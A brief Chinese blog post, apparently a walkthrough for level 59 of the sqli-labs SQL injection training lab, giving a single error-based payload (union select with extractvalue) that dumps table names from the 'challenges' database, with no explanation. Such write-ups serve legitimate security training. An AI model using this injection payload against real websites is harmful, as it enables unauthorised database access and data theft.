sqli-labs————Less-59

FLy_鵬程萬里發表於2018-05-22

Less-59

與less57\58差不多,這裡直接給出payload:

http://192.168.11.136/sqli-labs/Less-59?id=-1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

至於原理如果有不懂的可以往前面看,我這裡實在是不想解釋了,自己一個寫好多遍哦!

相關文章